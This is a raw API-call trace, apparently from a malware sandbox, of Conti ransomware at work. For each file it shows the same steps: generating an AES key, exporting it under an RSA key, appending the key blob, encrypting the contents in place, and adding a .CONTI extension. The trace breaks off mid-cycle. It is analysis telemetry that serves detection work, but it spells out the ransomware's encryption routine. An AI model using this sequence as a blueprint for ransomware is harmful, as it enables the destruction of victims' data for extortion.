	[0149.503] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\i386\\nxquery.cat" (normalized: "c:\\windows10upgrade\\resources\\i386\\nxquery.cat"), lpNewFileName="C:\\Windows10Upgrade\\resources\\i386\\nxquery.cat.CONTI" (normalized: "c:\\windows10upgrade\\resources\\i386\\nxquery.cat.conti")) returned 1
	[0149.504] GetProcessHeap () returned 0x1720000
	[0149.504] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0149.504] CryptDestroyKey (hKey=0x17dee10) returned 1
	[0149.504] GetProcessHeap () returned 0x1720000
	[0149.504] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e1760 | out: hHeap=0x1720000) returned 1
	[0149.504] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0149.504] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x65d42c8 | out: phKey=0x65d42c8*=0x17dee10) returned 1
	[0149.504] CryptExportKey (in: hKey=0x17dee10, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d42cc, pdwDataLen=0x4d3fec4 | out: pbData=0x65d42cc*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0149.505] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\nxquery.inf" (normalized: "c:\\windows10upgrade\\resources\\i386\\nxquery.inf")) returned 0x20
	[0149.505] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\nxquery.inf" (normalized: "c:\\windows10upgrade\\resources\\i386\\nxquery.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c
	[0149.506] GetLastError () returned 0x0
	[0149.506] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=1495) returned 1
	[0149.506] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5d7
	[0149.506] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.506] SetEndOfFile (hFile=0x49c) returned 1
	[0149.506] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.506] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.506] WriteFile (in: hFile=0x49c, lpBuffer=0x65d42cc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x65d42cc*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0149.511] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.511] ReadFile (in: hFile=0x49c, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x5d7, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x5d7, lpOverlapped=0x0) returned 1
	[0149.511] CryptEncrypt (in: hKey=0x17dee10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x5d7, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x5e0) returned 1
	[0149.511] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.511] WriteFile (in: hFile=0x49c, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x5e0, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x5e0, lpOverlapped=0x0) returned 1
	[0149.511] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.512] WriteFile (in: hFile=0x49c, lpBuffer=0x65d42c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x65d42c0*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0149.512] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.512] CloseHandle (hObject=0x49c) returned 1
	[0149.512] GetProcessHeap () returned 0x1720000
	[0149.512] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0149.512] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Windows10Upgrade\\resources\\i386\\nxquery.inf" | out: lpString1="C:\\Windows10Upgrade\\resources\\i386\\nxquery.inf") returned="C:\\Windows10Upgrade\\resources\\i386\\nxquery.inf"
	[0149.512] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\i386\\nxquery.inf", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\i386\\nxquery.inf.CONTI") returned="C:\\Windows10Upgrade\\resources\\i386\\nxquery.inf.CONTI"
	[0149.512] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\i386\\nxquery.inf" (normalized: "c:\\windows10upgrade\\resources\\i386\\nxquery.inf"), lpNewFileName="C:\\Windows10Upgrade\\resources\\i386\\nxquery.inf.CONTI" (normalized: "c:\\windows10upgrade\\resources\\i386\\nxquery.inf.conti")) returned 1
	[0149.512] GetProcessHeap () returned 0x1720000
	[0149.512] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0149.512] CryptDestroyKey (hKey=0x17dee10) returned 1
	[0149.512] GetProcessHeap () returned 0x1720000
	[0149.512] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e15c0 | out: hHeap=0x1720000) returned 1
	[0149.512] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0149.513] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x65d4510 | out: phKey=0x65d4510*=0x17dee10) returned 1
	[0149.513] CryptExportKey (in: hKey=0x17dee10, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d4514, pdwDataLen=0x4d3fec4 | out: pbData=0x65d4514*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0149.513] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\bluelogo.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\bluelogo.png")) returned 0x20
	[0149.515] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\bluelogo.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\bluelogo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0151.415] GetLastError () returned 0x0
	[0151.415] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=7080) returned 1
	[0151.415] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1ba8
	[0151.415] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.415] SetEndOfFile (hFile=0x4a0) returned 1
	[0151.415] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.415] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.421] WriteFile (in: hFile=0x4a0, lpBuffer=0x65d4514*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x65d4514*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0151.447] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.447] ReadFile (in: hFile=0x4a0, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x1ba8, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x1ba8, lpOverlapped=0x0) returned 1
	[0151.447] CryptEncrypt (in: hKey=0x17dee10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x1ba8, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x1bb0) returned 1
	[0151.447] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.448] WriteFile (in: hFile=0x4a0, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x1bb0, lpOverlapped=0x0) returned 1
	[0151.448] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.448] WriteFile (in: hFile=0x4a0, lpBuffer=0x65d4508*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x65d4508*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0151.448] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.448] CloseHandle (hObject=0x4a0) returned 1
	[0151.448] GetProcessHeap () returned 0x1720000
	[0151.448] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0151.448] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Windows10Upgrade\\resources\\ux\\bluelogo.png" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\bluelogo.png") returned="C:\\Windows10Upgrade\\resources\\ux\\bluelogo.png"
	[0151.448] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\bluelogo.png", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\bluelogo.png.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\bluelogo.png.CONTI"
	[0151.448] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\bluelogo.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\bluelogo.png"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\bluelogo.png.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\bluelogo.png.conti")) returned 1
	[0151.449] GetProcessHeap () returned 0x1720000
	[0151.449] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0151.449] CryptDestroyKey (hKey=0x17dee10) returned 1
	[0151.449] GetProcessHeap () returned 0x1720000
	[0151.449] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e1628 | out: hHeap=0x1720000) returned 1
	[0151.449] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0151.449] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x65da728 | out: phKey=0x65da728*=0x17dee10) returned 1
	[0151.449] CryptExportKey (in: hKey=0x17dee10, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65da72c, pdwDataLen=0x4d3fec4 | out: pbData=0x65da72c*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0151.450] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pt-pt.htm")) returned 0x20
	[0151.450] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pt-pt.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0151.450] GetLastError () returned 0x0
	[0151.450] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=71054) returned 1
	[0151.450] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1158e
	[0151.450] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.450] SetEndOfFile (hFile=0x4a0) returned 1
	[0151.451] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.451] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.451] WriteFile (in: hFile=0x4a0, lpBuffer=0x65da72c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x65da72c*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0151.453] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.453] ReadFile (in: hFile=0x4a0, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x1158e, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x1158e, lpOverlapped=0x0) returned 1
	[0151.453] CryptEncrypt (in: hKey=0x17dee10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x1158e, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x11590) returned 1
	[0151.454] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.454] WriteFile (in: hFile=0x4a0, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x11590, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x11590, lpOverlapped=0x0) returned 1
	[0151.454] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.454] WriteFile (in: hFile=0x4a0, lpBuffer=0x65da720*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x65da720*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0151.454] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.454] CloseHandle (hObject=0x4a0) returned 1
	[0151.454] GetProcessHeap () returned 0x1720000
	[0151.454] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0151.454] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm"
	[0151.454] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm.CONTI"
	[0151.454] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pt-pt.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pt-pt.htm.conti")) returned 1
	[0151.455] GetProcessHeap () returned 0x1720000
	[0151.455] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0151.455] CryptDestroyKey (hKey=0x17dee10) returned 1
	[0151.455] GetProcessHeap () returned 0x1720000
	[0151.455] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740898 | out: hHeap=0x1720000) returned 1
	[0151.455] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0151.455] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x65d29b0 | out: phKey=0x65d29b0*=0x17dee10) returned 1
	[0151.455] CryptExportKey (in: hKey=0x17dee10, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d29b4, pdwDataLen=0x4d3fec4 | out: pbData=0x65d29b4*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0151.456] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ro-ro.htm")) returned 0x20
	[0151.456] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ro-ro.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0151.457] GetLastError () returned 0x0
	[0151.457] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=78176) returned 1
	[0151.457] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x13160
	[0151.457] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.457] SetEndOfFile (hFile=0x39c) returned 1
	[0151.457] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.457] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.457] WriteFile (in: hFile=0x39c, lpBuffer=0x65d29b4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x65d29b4*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0151.459] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.459] ReadFile (in: hFile=0x39c, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x13160, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x13160, lpOverlapped=0x0) returned 1
	[0151.460] CryptEncrypt (in: hKey=0x17dee10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x13160, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x13170) returned 1
	[0151.460] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.460] WriteFile (in: hFile=0x39c, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x13170, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x13170, lpOverlapped=0x0) returned 1
	[0151.461] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.461] WriteFile (in: hFile=0x39c, lpBuffer=0x65d29a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x65d29a8*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0151.461] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.461] CloseHandle (hObject=0x39c) returned 1
	[0151.461] GetProcessHeap () returned 0x1720000
	[0151.461] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ca90c0
	[0151.461] lstrcpyW (in: lpString1=0x6ca90c0, lpString2="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm"
	[0151.461] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm.CONTI"
	[0151.461] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ro-ro.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ro-ro.htm.conti")) returned 1
	[0151.462] GetProcessHeap () returned 0x1720000
	[0151.462] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ca90c0 | out: hHeap=0x1720000) returned 1
	[0151.462] CryptDestroyKey (hKey=0x17dee10) returned 1
	[0151.462] GetProcessHeap () returned 0x1720000
	[0151.462] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181bea8 | out: hHeap=0x1720000) returned 1
	[0151.462] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0151.462] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x65d0e50 | out: phKey=0x65d0e50*=0x17dee10) returned 1
	[0151.462] CryptExportKey (in: hKey=0x17dee10, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d0e54, pdwDataLen=0x4d3fec4 | out: pbData=0x65d0e54*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0151.463] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ru-ru.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ru-ru.htm")) returned 0x20
	[0151.463] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ru-ru.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ru-ru.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0151.463] GetLastError () returned 0x0
	[0151.463] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=283852) returned 1
	[0151.463] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x454cc
	[0151.463] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.463] SetEndOfFile (hFile=0x39c) returned 1
	[0151.463] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.463] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.463] WriteFile (in: hFile=0x39c, lpBuffer=0x65d0e54*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x65d0e54*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0151.465] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.465] ReadFile (in: hFile=0x39c, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x454cc, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x454cc, lpOverlapped=0x0) returned 1
	[0152.458] CryptEncrypt (in: hKey=0x17dee10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x454cc, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x454d0) returned 1
